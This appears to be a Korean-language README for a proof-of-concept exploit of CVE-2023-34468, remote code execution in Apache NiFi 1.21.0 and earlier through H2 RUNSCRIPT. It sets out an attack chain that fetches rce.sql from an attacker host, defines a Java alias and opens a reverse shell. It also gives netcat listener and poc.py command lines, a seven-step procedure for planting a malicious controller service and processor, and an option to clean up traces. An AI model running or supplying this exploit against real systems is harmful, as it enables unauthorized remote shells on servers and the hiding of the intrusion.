
CVE-2023-34468 — Apache NiFi <= 1.21.0에서 H2 RUNSCRIPT를 통한 RCE에 대한 PoC 익스플로잇
Apache NiFi <= 1.21.0에서 H2 데이터베이스 RUNSCRIPT를 통한 원격 코드 실행
Apache NiFi는 기본적으로 번들로 제공되는 H2 데이터베이스 JAR을 포함하고 있습니다. DBCPConnectionPool 컨트롤러 서비스는 이 H2 드라이버를 사용하도록 구성할 수 있습니다. H2는 원격 URL에서 SQL 파일을 가져와 실행하는 RUNSCRIPT 문을 지원합니다. 해당 SQL 파일은 CREATE ALIAS를 통해 임의의 Java 코드를 정의하고 서버 OS에서 실행할 수 있습니다.
공격 체인:
DBCPConnectionPool (H2 driver)
→ ExecuteSQL processor
→ RUNSCRIPT FROM http://attacker/rce.sql
→ CREATE ALIAS (Java method)
→ CALL SHELLEXEC (reverse shell)
| 소프트웨어 | 버전 |
|---|---|
| Apache NiFi | <= 1.21.0 |
| 수정된 버전 | 1.21.1+ |
| Java | 모든 (번들) |
requests 라이브러리 → pip install requestspython3 poc.py --target http://NiFi.target.com \
--lhost 10.10.10.10 \
--lport 4444 \
--http-port 80 \
--cleanup
터미널 1 — 리스너:
nc -lvnp 4444
터미널 2 — 익스플로잇:
python3 poc.py --target http://NiFi.target.com --lhost 10.10.10.10 --lport 4444 --cleanup
Step 1 Check anonymous access and write permissions
Step 2 Get root Process Group ID
Step 3 Create malicious DBCPConnectionPool controller service
Step 4 Enable the controller service (handles revision versioning)
Step 5 Create ExecuteSQL processor pointing to rce.sql on our HTTP server
Step 6 Start the processor → NiFi fetches rce.sql → shell callback
Step 7 Cleanup (if --cleanup flag is set)
| 인자 | 기본값 | 설명 |
|---|
--target | http://NiFi.target.com | NiFi 기본 URL |
--lhost | 10.10.10.10 | 사용자 IP (tun0) |
--lport | 4444 | 리버스 셸 수신 포트 |
--http-port | 80 | rce.sql 제공 포트 |
--cleanup | False | 실행 후 생성된 아티팩트 삭제 |